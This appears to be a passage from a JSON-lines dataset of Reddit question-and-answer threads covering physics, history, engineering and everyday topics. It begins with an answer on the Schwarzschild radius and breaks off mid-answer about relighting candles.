"d2w9ba1"], "score": [161, 9], "text": ["This is a good question and one that touches on a misconception that particularly annoys me because I have seen even experts get it wrong. There is also a [\"proof\" on Wikipedia similar to yours](_URL_1_) for the formula for the Schwarzschild radius. Of course, it is completely wrong.\n\nEscape speed formula in Newtonian gravity\n---\n\nSo let's look at this purported proof. Start with Newtonian gravity. There is some spherically symmetric gravitating mass *M* and a test particle of mass *m*. Calling it a \"test\" particles means that its effect on the mass *M* is negligible. So we should think of *M* as stationary. The test particle is *free*, which means that the only force acting on it is the gravitational force due to *M*.\n\n**Question:** Suppose the test particle has a speed *v* and is a distance *R* from the center of the mass *M*. What is the necessary minimum speed *v* so that the particle has enough energy to escape the gravity of *M*? That is, what minimum speed allows the particle to reach arbitrarily large distances from *M*?\n\n**Answer:** This is a standard exercise in Newtonian gravity. The minimum required speed *v* is called the *escape speed at radius R*. (Note that the unqualified term *escape speed* typically means *escape speed at the surface of M*.) The condition for the particle to be able to just barely escape to infinity is that its total energy is 0. Note that we are implicitly assuming that the gravitational potential is 0 at infinity. This condition gives us the equation\n\n >  0 = (kinetic energy) + (gravitational potential energy) = mv^(2)/2 - GMm/R = 0\n\nSolving for *v* then gives\n\n >  v*_esc_* = \u221a(2GM/R)\n\nGood. All done.\n\nFalse proof of Schwarzschild radius formula\n---\n\nNow let's switch to general relativity.\n\n**Question:** Given that the mass of a black hole is *M*, what is its radius *R*?\n\n**Answer:** *(Note that the following is the common false proof. In the next section, I explain why this proof is false.)* Let's answer this in steps.\n\n(1) The black hole is a spherically symmetric mass *M* of radius *R*. (We mean that the event horizon is at radius *R*.)\n\n(2) The event horizon is the surface past which not even light can escape the black hole.\n\n(3) Therefore, at the event horizon (which is at radius *R*), the escape speed is *c*, the speed of light.\n\n(4) Our formula for escape speed is v*_esc_* = \u221a(2GM/R). Susbtitute v*_esc_* = *c* and solve for *R*. We get *R* = 2GM/c^(2).\n\nConclusion: The Schwarzschild radius is R*_s_* = 2GM/c^(2).\n\n**THIS PROOF IS FALSE EVEN THOUGH THE CONCLUSION IS CORRECT.**\n\nWhy is the proof false?\n---\n\nAlmost every single step of the proof is either ambiguous or plainly 100% wrong. I have actually written about individual steps in other threads. So I will give some brief explanation here. All the gritty details [can be found here](_URL_0_).\n\n(1) Okay. This step is not *wrong*, but there is certainly some ambiguity here. In GR, we have a very important freedom to choose essentially any coordinate system we want. Some quantities are dependent on the coordinate system you choose and others are not. This step of the proof is implicitly assuming we have already chosen our coordinate system to be Schwarzschild coordinates. These coordinates consist of (*t*, *r*, \u03c6, \u03b8). The angular coordinates (\u03c6, \u03b8) are the usual angular coordinates of a sphere. The time coordinate is *t* and the radial coordinate is *r*. The radial coordinate *r* is actually *not* the distance to the center of the mass *M*, although we are usually sloppy and call it a distance anyway. The precise definition of *r* is a bit technical. Details of how *r* is defined are [in the post I linked earlier](_URL_0_) (it is the second bullet point).\n\nFor our purposes here, you can continue to think of *r* as distance to the center if it makes it easier for you. But the fact that *r* is *not* the distance to the center and the fact that we have freedom to choose coordinates should show you that the first step of the false proof is not really correct, at best ambiguous.\n\n(2) This step is fine. That's not the *definition* of the event horizon, but it certainly is a property of the event horizon.\n\n(3) This step is 100% wrong and the primary source of the misconception. First of all, what does escape speed mean in Newtonian gravity? It means the speed a *free* particle needs to escape to infinity. It is emphatically not the speed a particle must acquire to escape to infinity. Why? Well, the free particle (let's say a small rocket) is perfectly able to turn on its engines and *accelerate* away from the central mass *M*. In fact, as long as the thrust provided just barely overcomes the gravitational force, the particle will escape. It could escape to infinity at literally a snail's pace and actually never reach the local escape speed. As long as it continues to accelerate against gravity, it's fine.\n\nSo what does \"escape speed of *c* mean\"? In Newtonian gravity, it just means that a free particle needs a speed of *c* to escape. Let's for the moment suppose that Newtonian physics did not allow speeds greater than *c*. *An escape speed of c would still not mean that escape is impossible.* It would just mean that a free particle could not escape: it would *have* to accelerate to escape. So you can see that characterizing a black hole as an object whose escape speed is *c* is absolutely wrong. Escape from beyond the event horizon is *impossible*, no matter what the particle does, even it turns on its engines. If you were to say that a black hole is an object for which the escape speed is greater than *c*, that does not characterize the black hole because statements like \"escape speed is...\" say nothing about the actual *possibility* of escape for a particle, but only for a free particle.\n\n*Black holes are not objects whose escape speed is c at the event horizon, or objects whose escape speed is  >  c beyond the event horizon.* Black holes are objects defined via their causal structure. Any particle that passes the event horizon has the singularity in its causal future. Period. End of story. That's the definition. No shenanigans about the escape speed, which has either no meaning or an ambiguous meaning in GR anyway. For more details, you may see the post I linked earlier.\n\n(4) Given that step (3) is 100% wrong, it is no surprise that step (4) is wrong. But you should definitely be very suspicious of this step anyway. The step purports that a *Newtonian* formula is still valid in GR. That Newtonian formula uses Newtonian expressions for the kinetic energy and the gravitational potential energy... why should any of that still hold in GR? Hint: it doesn't.\n\nSo how do you derive the formula anyway?\n---\n\nTo properly derive the formula R*_s_* = 2GM/c^(2) you have to use the full machinery of GR. Start with the general form of a metric for a spherically symmetric spacetime (which necessarily uses Schwarzschild coordinates). Then solve for the components of the metric if the spacetime is a vacuum (i.e., the stress-energy tensor vanishes). The metric you end up getting has a single free parameter R*_s_* which *a priori* has no physical interpretation in terms of mass. You can show that there is a coordinate singularity in the metric at r = R*_s_*, and that the causal structure of spacetime changes at that surface. That is, r = R*_s_* is the equation for the event horizon in these coordinates.\n\nSo where does the mass come in? We make the approximation that we are very far away from the central mass. In that case, the metric should reduce to the so-called *weak-gravity* limit, which is written in terms of the Newtonian potential. You set some corresponding quantities equal to each other, and you find that the only reasonable interpretation of R*_s_* is 2GM/c^(2), where *M* is what would be called the mass in Newtonian gravity.\n\nIt's okay if you don't follow much of or any of that. The point you should get is that it is *not* a simple exercise to find the formula R*_s_* = 2GM/c^(2). There is quite a lot of math and physics that goes into it.\n\nYeah, but what about this escape speed thing? Is it *really* just a coincidence?\n---\n\nYes. It is a coincidence that the false proof gives the correct formula for R*_s_*. In fact, we *can* make sense of escape speed in GR if we are very careful. Again, details [are found in this post](_URL_0_). You eventually *do* get down to the formula\n\n >  v*_esc_* = \u221a(2GM/r)\n\n...but the simplicity of the formula and its similarity to its Newtonian counterpart belies the subtleties and complexities in deriving the formula properly. For one, the formula is in terms of Schwarzschild coordinates. In a different coordinate system, the formula would be different. Second, v*_esc_* is *not* the coordinate speed in Schwarzschild coordinates. It is actually the coordinate speed in units of the *local speed of light*. The actual coordinate speed is\n\n >  v*_esc, coord_* = \u221a(2GM/r) \\* \u221a[1 - 2GM/(rc^(2))] = \u221a(2GM/r) \\* \u221a(1 - R*_s_*/r)\n\nand the local speed of light is\n\n >  v*_light_* = c \u221a(1 - R*_s_*/r)\n\nIt takes some thought to figure out how we can finally reduce everything to v*_esc_* \u221a(2GM/R). For details, [see the master post](_URL_0_). There is a lot of math in that post, but I tried to explain the subtleties beforehand in bullet points. If you are not math-inclined, just know that we *can* get a formula to look like v*_esc_* = \u221a(2GM/R) but the derivation is not anywhere close to the simplicity of the Newtonian derivation.", "Actually, it took Schwarzschild very little time (just over a month) to come up with his equations.  From Wikipedia:\n\n\"Schwarzschild, in contrast, chose a more elegant \"polar-like\" coordinate system and was able to produce an exact solution which he first set down in a letter to Einstein of 22 December 1915, written while Schwarzschild was serving in the war stationed on the Russian front.\""]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/space/comments/4i81tw/earths_schwarzschild_radius_the_volume_earth/"], "answers_urls": [["http://tinyurl.com/jpk9gzz", "https://en.wikipedia.org/wiki/Schwarzschild_radius#Formula"], []]}
{"q_id": "4d9r7b", "title": "If you fell off a 16th century warship or trading ship, would they stop the ship and rescue you?", "selftext": "Was it feasible to drop sails, stop the ship, and send a skiff out to grab you?  Or were you just assumed to be lost?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4d9r7b/if_you_fell_off_a_16th_century_warship_or_trading/", "answers": {"a_id": ["d1p5qgv", "d1pcp11", "d1pgded"], "score": [444, 352, 120], "text": ["Depends on where the ship is. There's a naval historian on this sub who will be able to give a better run-down, but what I can say is that given the weather and navigation practices in the Mediterranean, it would most definitely be feasible to stop the ship unless you're in a storm, while it might be more difficult for a Spanish Galleon or Chinese Junk to do so even under the best circumstances on the high seas. \n\nI don't know of any specific accounts of recoveries-at-sea in the early age of sail, but I can say that most preoccupations were tied to the cargo rather than the sailors, merchants or eventual passengers. An oft-repeated phrase in Venetian senatorial debates during the tumultuous early 16th century was, \"A captain jettisons the cargo to save the ship.\" For the metaphor to be so widely used it would seem that voluntarily throwing things overboard was a more discussed topic than things and people involuntarily falling off. \n", "Richard Walter (c.1716-95), the chaplain onboard the ship, compiled a famous account of *A Voyage around the World by [Capt.] George Anson* in 1740-44. In 1741 during the voyage of Anson\u2019s ship, *Centurion*, a sailor was blown overboard during a storm. Unable to reverse course, the crew had to watch helplessly as he swam in vain to catch up to them. In Walter\u2019s [account](_URL_0_): \n\n > notwithstanding the prodigious agitation of the waves, we perceived that he swam very strong, and it was with the utmost concern that we found ourselves incapable of assisting him; indeed we were the more aggrieved at his unhappy fate as we lost sight of him struggling with the waves, and conceived, from the manner in which he swam, that he might continue sensible for a considerable time longer of the horror attending his irretrievable situation.\n\nThe poet William Cowper (1731-1800) later wrote a poem (1799) about the event called [\u201cThe Castaway\u201d](_URL_1_), according to the *Oxford Eng. Dict.* the first time the word \u201ccastaway\u201d was used to mean lost at sea instead of abandoned by God. \n", "There's not really a hard-and-fast answer to this other than it depends, most likely you would be more likely to be rescued if the day was relatively calm and the ship wasn't being forced to run before a storm or something like that. \n\n/u/Whoosier's example from Anson's voyage is one of many examples of men being lost overboard from period accounts; the ship being unable to turn around and the efforts of the man being indicative of the genre. Ship captains weren't necessarily in the business of leaving men behind for no reason, but the safety of the entire ship and crew had to come before an individual. \n\nI should also mention that swimming, though absolutely known from antiquity onward, was not by any means universal among sailors at the time. \n\nIn any case, though, if a man fell overboard the usual policy in the 16th-century English navy would be to throw anything that could float to the man; turn up into the wind, stopping the ship quickly; and lower a boat to try to retrieve them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://books.google.com/books?id=a6sLAQAAIAAJ&amp;pg=PA25&amp;lpg=PA25&amp;dq=notwithstanding+the+prodigious+agitation+of+the+waves,+we+perceived+that+he+swam+very+strong,+and+it+was+with+the+utmost+concern+that+we+found+ourselves+incapable+of+assisting+him;&amp;source=bl&amp;ots=a0zyvwCkuj&amp;sig=WjbyqwQ_GENVpfB93bEpJeBF6NA&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiKu4r6l_XLAhVENSYKHW0wDB4Q6AEIHTAA#v=onepage&amp;q=notwithstanding%20the%20prodigious%20agitation%20of%20the%20waves%2C%20we%20perceived%20that%20he%20swam%20very%20strong%2C%20and%20it%20was%20with%20the%20utmost%20concern%20that%20we%20found%20ourselves%20incapable%20of%20assisting%20him%3B&amp;f=false", "http://www.poetryfoundation.org/poem/173283"], []]}
{"q_id": "3zo2p2", "title": "why can't we just make submarines thicker so we can dive farther?", "selftext": "As far as I know... the only thing stopping submarines from going to the deep depths of the ocean is the enormous about of pressure that is put on the sub, correct? So why can't we just make a super thick submarine? Like 25 feet thick on everyside? Wouldn't it allow us to go deeper without the sub becoming a soda pop can? (Apologies for poor writing, I'm currently under the influence)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zo2p2/eli5_why_cant_we_just_make_submarines_thicker_so/", "answers": {"a_id": ["cynoc86", "cynrcdp"], "score": [17, 5], "text": ["We can and we did:\n\n_URL_0_\n\nThere is nowhere deeper we can dive on this planet.", "To add on to the other answers here, it's not strictly necessary to make the hull thicker in order to increase the diving depth.\n\nWhat causes the hull to collapse is the difference in pressure between the air inside and the water outside of the submarine. Get rid of that difference, and the thickness of the hull can be reduced; just increase the air pressure inside to be closer to the water pressure.\n\nThe big caveat here is that the human body needs time to adjust to massive increases and decreases in air pressure (particularly decreases). If a sub was pressurized to dive in the deep ocean, you might have to allow for hours or even days for the sub to depressurize if you wanted to go to the surface.\n\nAnyway to go with Hq3473 and RhynoD's answers, what's keeping most subs from diving so deep is cost and utility (e.g. why do we need to have subs dive so deep?) not necessarily some physical limit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://news.nationalgeographic.com/news/2012/03/120325-james-cameron-mariana-trench-challenger-deepest-returns-science-sub/"], []]}
{"q_id": "1vjsk4", "title": "do chinese martial arts have any application in a \"real\" fight?", "selftext": "To me, it seems like the martial arts are mostly ceremonial, and used in movies. Every move perfectly counters another and the punches don't seem to have that much force behind them.\n\nThat being said, I've never really been exposed to martial arts outside of movies. So, I'm pretty biased/ignorant about it. Pls assplain. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vjsk4/eli5_do_chinese_martial_arts_have_any_application/", "answers": {"a_id": ["cesxs30", "cesybn1", "cesydsp", "cesyhsb", "cet0jxu"], "score": [4, 5, 12, 2, 12], "text": ["I'm a Krav Maga practitioner (a martial art known for it's brutality and real world application) and I can responsibly tell you that Wing Tsun is almost  as real-world-applicable (except that they don't prioritize hitting genitals and/or other vulnerable parts in their counters). \n\nThere are some chinese martial arts that are just \"sports\" or for self-improvement with philosophy and practice, but there are many that have a place in MMA and real world scenarios. ", "They definitely do, but only after YEARS of training. Its common for people to think that after 6 months of classes they can kick the shit out of anything that stands in their way and that's simply not true. The main thing I've learned from doing martial arts is how easy it is to get hurt, and how hard it is to fight off an aggressor without getting hurt yourself. \n\nA martial artist fighting a goon on the street will have an advantage. A martial artist fighting another martial artist probably wont have such an advantage.\n\nI've been doing martial arts for about 12 years- TKD, a little Kung Fu and mainly Silat. I'm a pretty skinny guy, so all the training in the world might be for nothing if a 300lb guy steam rollers me and sits on top of me. On the other hand, if he swings a punch at me, I'll probably avoid it easier than the average person since my muscles have practiced dodging punches. \n\nAnecdotal story though- a friend of mine is very muscly from spending lots of time at the gym, yet he actually couldn't throw a decent punch to save his life. if he got into a fight with someone on the street, he would probably either break his own hand, or the other guy would see it coming and dodge it easily. So in that regards, yes, martial arts training has real applicable uses. ", "Some martial arts are very flashy and more for sports such as Jeet Kun Do, Karate, Jujitsu, Tae Kwon Do (yes I know the last couple weren't chinese but you get my drift). However, there are some martial arts such as Wing Chun (or Wing Tsun depending on who you talk to) is one of the most brutal martial arts ever made and DEFINITELY could work in a real world scenario. Actually a lot of MMA organizations ban the use of Wing Chun because it's too violent.  \n\nSee the film \"Ip Man\" starring Donnie Yen. Great film but a great piece on Wing Chun as well.  ", "It largely depends on which martial art as well. Stuff like Shotokan Karate and TKD are mostly a sport. Having rules that make even sparring nothing like a real fight. I'm not saying they are useless, but you have to be very high level to do be able to apply it to a real fight. Arts like Muai Thai on the other hand are more applicable because A. they spar full contact all the time and B. the rules allow for a simulation closer to a real fight (not exactly the same obviously.)", "Ultimate Fighting was partially created to see if this was true or not.  Turns out, mostly not true.  The various classical martial artists who participated in Ultimate Fighting bouts got their asses kicked.  The problem mostly is that in a real fight the tendency of the fighters is to end up in a grapple or hold on the ground.  Barring a \"lucky shot\" that breaks a leg or knocks an opponent out as they close, once two fighters have begun grappling, the classical martial arts are mostly useless.  And it turns out in actual fights it is very, very hard to knock someone out with one punch or kick when they're running right at you trying to grab on to you and are ready for you to try to kick or punch them.\n\nSome martial arts styles survived contact with Ultimate Fighting.  Brazilian Ju-Jistu, for one, because the style has a lot of function for fighting grappled while prone on the ground.\n\nUnfortunately for all their fans, the various fighters who tried Kung Fu, Karate, Tai Kwan Do and Judo didn't win many bouts.  The guys who figured out how to duck punches and dodge kicks, close fast, get a grapple, and go for a submission hold, or repeated punches to the head, gut or nuts, did.  Also, the classic martial arts really suffered when there was a substantial difference in height and weight between fighters, and the heavier the opponents got the less and less useful classical martial arts became.\n\nThis matched up with the \"conventional wisdom\" that I heard from a number of people I knew who got into street fights or had \"brawling\" type experiences (a lot of bouncers, for example).  They viewed classical martial arts as much more of an aesthetic like dance, or as great conditioning and strength training, and less as an effective way to survive in real unarmed combat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "cecxf0", "title": "why isn't there more text message spam?", "selftext": "To send email spam you have to find lots of valid email addresses, get past spam filters and hope a human sees the message.\n\nTo send text messages you can run through blocks of numbers and expect most of them to be real people whose phones will notify them.\n\nText message spam seems so much easier that I'm surprised I don't get more of it. Is something stopping the spammers?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cecxf0/eli5_why_isnt_there_more_text_message_spam/", "answers": {"a_id": ["eu1p2c2", "eu2p2er"], "score": [2, 2], "text": ["Phone calls are cheap.  Once you get a VOIP set up, you can crank out calls all day.\n\nSMS still costs money if you want to do it in bulk.", "Because an email costs some indescribably small amount of money in electricity and internet connection to send (or, potentially, in access to a botnet), but an SMS has a standard fixed cost. You can't just make random people who you're spamming pay for the message you just gave them, so you'd be forced to pay for it. $0.03 is not a worthwhile price for exposure to one pair of eyes to a bullshit scheme you're trying to push."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fs1eec", "title": "how does the damage and lethality of an arrow shot from a bow compare to a bullet shot from a rifle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fs1eec/eli5_how_does_the_damage_and_lethality_of_an/", "answers": {"a_id": ["flz8d9h", "flyvngk", "flyvywj", "flywi6z", "flyznkz"], "score": [2, 4, 9, 2, 2], "text": ["You can intuitively understand that they are both similar. There is going to be more energy in a heavy arrow even though it travels slower, at least until you get into the higher caliber bullets. A 115 gr 9mm bullet strikes with about 350 foot pounds, while you get around 600 from a well shot arrow. \n\nThe advantage the bullets have on arrows is they deliver a pressure wave like the wake behind a speedboat, but through tissue. This is why a 9mm bullet can have wound cavities as wide as 2 inches, and why people come with theories like [hydrostatic shock](_URL_0_).", "Favorably. At least if you are the one being hit. An arrow can make a very serious puncture wound, severing blood vessels, damaging organs and cutting open intestines. It is perfectly capable of killing outright, though mostly over a matter of minutes, hours or even days from blood loss, organ damage and infection unless you get adequate medical care.\n\nA modern rifle bullet will do all that, but more. It will penetrate deeper, crush far more bone and, if it is at appropriate range and not hitting too much bone, leave a bad exit \"crater\". In addition, and this is important, it leaves a wound channel where the shock wave has killed tissue and pulverized bone that is larger than the mere diameter of the hole. Thus a lot more tissue is damaged and will start to necrotize. How much obviously depend on the rifle, the type of ammunition, the range and so on.", "It's entirely possible for an arrow to pass completely through an unarmored person. Same for rifle bullets. Most deaths from either were due to blood loss or infection, but instant death is certainly possible for critical traumas for either. The main advantage of bullets over arrows is portability, rate of fire, and ease of use: most longbowmen carried about twenty or thirty arrows in war, could shoot about ten aimed arrows per minute, and it was said that to properly train an excellent longbowman you started by training his grandfather.", "It depends. Materials are being measured in hardness, for example on a Mohs scale. The damage the arrow could deal to a skull (or any other bone) depends on the hardness of the arrow tip, the speed it is fired with and the angle it hits and the weight of the arrow.\nYou would for sure be able to crush bones with the right parameters at the above mentioned categories, but not at the same chance as with a bullet, because the missing weight of the bullet in comparison with the arrow is neglected by its speed and material choice.", "An arrow in the head or chest is very likely to kill you.  Because of their slower speed they don't have the shock wave damage that a bullet does. But they are still lethal. \nThey were certainly capable of breaking bones, and causing fatal trauma.   At short range they could go straight through a person if it managed to avoid hitting a bone."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Hydrostatic_shock"], [], [], [], []]}
{"q_id": "4hwcg4", "title": "how do our minds think of quick, witty comments in response to something somebody says?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hwcg4/eli5_how_do_our_minds_think_of_quick_witty/", "answers": {"a_id": ["d2t1khl"], "score": [9], "text": ["I can only speak for myself, but in my experience they tend to be modified versions of previously stored funny ideas or jokes, and when the right context presents itself, something triggers an automatic response that adapts the closest fit into the situation. That has been my assessment for some time now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9oka0n", "title": "why is the middle lane on the freeway considered the safest?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9oka0n/eli5_why_is_the_middle_lane_on_the_freeway/", "answers": {"a_id": ["e7upmoq", "e7upseg", "e7uqid2", "e7uqme7", "e7ur7pl"], "score": [20, 8, 3, 4, 11], "text": ["You can switch to right or left lane if you have to. \n\nFor example, When you are in the left lane, you only have 1 option which is to go middle lane.\n\nIf there is a problem, and you are in middle, you can cross to right or left, depending on which is easier.", "a lot of times, small animals trying to cross the freeway, dart out from either the side of the road or from the road divider. Staying in the middle lane gives you the most time to react and avoid any mishaps", "The right lane has more variation in speed, which is inherently dangerous, due to vehicles entering and exiting.  Also, that lane has lots of lateral movement (cars moving into the lane as they prepare to exit and cars transiting that lane as they move left to higher speeds).  I don\u2019t know that there\u2019s any significant safety difference between the left and middle lanes.", "The left and right lanes typically have your extremes, along with unpredictable incoming and sometimes out going traffic. This might be cars merging into or departing from the lane with little warning. It also means any accidents, people, animals, and debris or weather will often be found on the sides, and not in the middle of the road.\n\nDepending on current conditions, this might not be true at all. However, it's generally safest where you have maximum manueverability and visibility. All things being equal, the middle lane provides reasonable escape to both lanes, as well as visibility acrossed all 3 lanes, instead of just two.\n", "The right lane will have fast people slowing down (to exit), as well as slow people merging on\u2014most of whom frustratingly wait until they're actually *on* the highway before speeding up to highway speed.\n\nThe left lane will have the speed demons. The middle lane should keep you away from most of both. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5xbd2q", "title": "How quickly did news of the American Revolution arrive to the people of the United Kingdom", "selftext": "This question has been bugging me for months, and I have tried looking and cant really get an exact answer. It is part of a more broad answer about how news travelled pre-telegraph.\n\nBasically, if [this](_URL_0_) is true, and it took about 7 weeks for a ship to cross the Atlantic, then Britain must have not found out about the Colonies revolting for nearly 2 months right?\n\nDoes this seem right?\n\n* fighting breaks out  \n* message is immediately sent on the next ship to the UK\n* 7 weeks later it arrives \n* weeks later again, more troops are drafted and prepared \n* 7 weeks again to move additional forces to the colonies.\n\nOn a side question, im guessing it was extremely possible for entire battles and wars to break out in medieval times, and some people would not know for months or years? Such as some kingdom falling, but someone hundreds of miles away being none the wiser of this?\n\nSorry if this is a bit of a ramble.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5xbd2q/how_quickly_did_news_of_the_american_revolution/", "answers": {"a_id": ["degsn6t"], "score": [6], "text": ["The Second Continental Congress agreed to a motion for Independence on July 1, 1776. On July 4 Congress officially adopted the Declaration of Independence. The document wasn't actually signed, though, until August 2 (by most delegates, some signed later, and two delegates, Dickinson and Livingston did not sign at all). \n\nThe first news of the Decalration reached London in the second week of August and was delivered by the *Mercury* packet ship, which was carrying correspondence from General William Howe to Lord Germain, and was dated July 7. It was published by the *London Gazette* on Saturday August 10. Howe's letter was partially published and the central text was \"I am informed that the Continental Congress have declared the United Colonies free and independent States\". The *London Evening Post* broke the news the same day: \"Advice is received that the Congress resolved upon independence the 4th of July; and have declared war against Great Britain in form\". \n\nKing George did not publicly respond or speak until October 31, 1776. "]}, "title_urls": [], "selftext_urls": ["https://www.reference.com/history/long-did-across-atlantic-1700s-aaa802df642b99a3"], "answers_urls": [[]]}
{"q_id": "28fi8x", "title": "Why do you need to let a fridge/freezer settle after moving them when cars use similar systems for AC and constantly move, bump, jostle, turn etc?", "selftext": "I understand the reason for the fridge/freezer.  This is particularly the case when the unit is laid down or on its side.  (Compressor slugging etc.)  \n\nWhy isn't this the case for a car's air conditioning system though?  All sorts of forces are in play with a moving vehicle, many of which would emulate similar circumstances that would necessitate leaving a fridge/freezer to settle.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28fi8x/why_do_you_need_to_let_a_fridgefreezer_settle/", "answers": {"a_id": ["ciaxihg"], "score": [3], "text": ["Sometimes people moving a refrigerator might want to lay it on its side or back.  When you turn an AC system out of its normal position, the compressor oil can drain out to some other location.  Some oil normally circulates with the refrigerant, but if a large volume of oil suddenly passes through the compressor, it can damage it.  The compressor is designed to compress gasious refrigerant, not liquid oil.  If you let the unit set for some time, the oil will drain back down into the compressor crankcase."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2lij0m", "title": "how do reflective road signs work? if i point a light at the sign, it will reflect right back to me and no where else.", "selftext": "I bike in the dark a lot and have a flashlight on my helmet. The reflectiveness of these roadsigns never cease to amaze me.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lij0m/eli5how_do_reflective_road_signs_work_if_i_point/", "answers": {"a_id": ["clv3o5q"], "score": [11], "text": ["The signs are made of reflective sheeting, which contain tiny beads of glass of a special shape.\n\nThey're shaped so that incoming light is reflected directly back at the source of the light.\n\nThey are called retroreflectors.  There are some good diagrams here:\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Retroreflector"]]}
{"q_id": "3b1efv", "title": "The moon, Jupiter and Venus were all in a line last night. Was this line the \"plane\" of the solar system?", "selftext": "I took [this](_URL_0_) picture last night of the moon, Jupiter and Venus.  I noticed that all three astronomical objects were in a line... And then later that night, I saw that Saturn fell on the same \"line\" as them as well!  So I got curious...  Is that \"line\" the plane of the solar system?  And is the angle that \"line\" makes with the horizon some combination of the Earth's axial tilt and my location on the earth?  \n\nThanks for any help!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3b1efv/the_moon_jupiter_and_venus_were_all_in_a_line/", "answers": {"a_id": ["cshyepx", "cshyg3i", "cshyj0q", "csieini"], "score": [43, 23, 2, 5], "text": ["The line the planets form is the plane of the solar system. \n\nThe moon doesn't orbit the Earth around the equator or in the same plane as the planets orbit the sun and  obviously appears much bigger so it doesn't have to fall in line. (The moon is slightly above the \"line\" in your picture) \n\n", "Yep, that's basically it exactly! Most of the planets orbit the sun in nearly the same plane (including the Earth). They all lie on the same plane (commonly called the ecliptic) since the planets were formed from a protoplanetary disc (really dense gas) surrounding the sun back when it was first formed. I believe all the planets except for Pluto lie within about 5 or 6 degrees of the plane, so that's why we see them fall along the same line in the sky. \n\nSo think of all of the planets sitting on the same plane as us, and then you add in the axial tilt of Earth -- like you said -- and suddenly they're all sitting at an angle relative to us. \n\nThere's a nice little description [here](_URL_0_). \n\nEdit: Oops, forgot the Moon. What /u/spartacus311 said.", "Yes, the plane of the Solar System is called the [ecliptic](_URL_2_) and it's the path that we see the Sun, Moon, and planets take through our night sky. \n\nThe angle that the ecliptic makes with the celestial equator looks something like [this](_URL_0_) (seen farther down the page). The celestial equator is the extension of the Earth's equator drawn into space, and the celestial poles are the extension of the North and South Poles into space as well. That has to do with the tilt of the Earth, and the angle of the celestial equator has to do with your latitude. The North Celestial Pole (NCP), for example, will be at an altitude equal to your latitude if you're in the northern hemisphere, so at the North Pole, the NCP is straight overhead (altitude = 90 degrees, latitude = 90 degrees). At the equator, the NCP is on the horizon (altitude = 0, latitude = 0). And, for latitude X, the altitude will be X. Since the equator is 90 degrees from the North Pole, the celestial equator is 90 degrees from the NCP, so from straight line geometry, it will have an altitude of 180 - 90 - latitude (or just 90 - latitude), see [this picture](_URL_1_) for the latitude of Milwaukee.\n\nOkay, so where was I going with this. Since the Earth is tilted 23.4 degrees from the ecliptic, the celestial equator will also be tilted by that amount. But, it's altitude as we see it changes throughout the year. You can sort of see that in the first picture, where the Sun is high in the sky for northern summer. If the Sun was on the other side (left) of the diagram, then it would be low in the sky for northern winter. So, for the latitude of Milwaukee (43 degrees), the celestial equator is at 47 degrees, and the ecliptic appears between 23.6 degrees and 70.4 degrees altitude (47+/-23.4). On the equinoxes, the Sun will be on the celestial equator, and since it will follow it over the course of that day, that's why there's 12 hours of day and night (half the great circle).", "the best part about this view/picture when you see it, especially if it's right after sunset so you have a sense of the location of the sun to boot....is to then feel/sense earth being on that same plane.   this kind of view is the only time i'm really able to conceive of my place in it meaningfully."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/2pZH0PP.jpg"], "answers_urls": [[], ["http://hyperphysics.phy-astr.gsu.edu/hbase/eclip.html"], ["https://upload.wikimedia.org/wikipedia/commons/thumb/b/bd/Earths_orbit_and_ecliptic.PNG/800px-Earths_orbit_and_ecliptic.PNG", "http://ecampus.matc.edu/mihalj/astronomy/test1/local_horizon_milwaukee_b.GIF", "https://en.wikipedia.org/wiki/Ecliptic"], []]}
{"q_id": "2pyvqj", "title": "How does the candle relighting trick work? the one where you light the smoke trail?", "selftext": "As shown in this gif _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2pyvqj/how_does_the_candle_relighting_trick_work_the_one/", "answers": {"a_id": ["cn1biwu", "cn1dyh0"], "score": [1112, 151], "text": ["In order for something to burn, you need to vaporize the fuel. So when you light a candle, it takes a second or two to melt and vaporize the wax before it can ignite and become self-sustaining.\n\nWhen you blow out the candle, the residue heat from the wick keeps vaporizing wax. The \"smoke trail\" you see isn't smoke - rather it is vaporized wax. So by bringing another flame close to the fuel trail, you can reignite the candle.", "Firefighter here. \n\nThere are two things most people don't understand about combustion. First, what's 'burning isn't actually the wick. What is happening is heat is causing the material in the wick to off-gas, or vaporize into a vapor. When this is mixed with the oxygen in the air, the gas is oxidized hence fire. Fire is a sustained chemical reaction. This is also why you can hold if a match to a full sized log and have the while thing ignite. The log is a dense material. Things like wick aren't nearly as dense and the heat can attack from more angles allowing a rapid rise in temp, up to the ignition temp. \n\nSecondly, (and this one can be VERY dangerous to us firefighters). Smoke is combustible. When you see something burning, the smoke 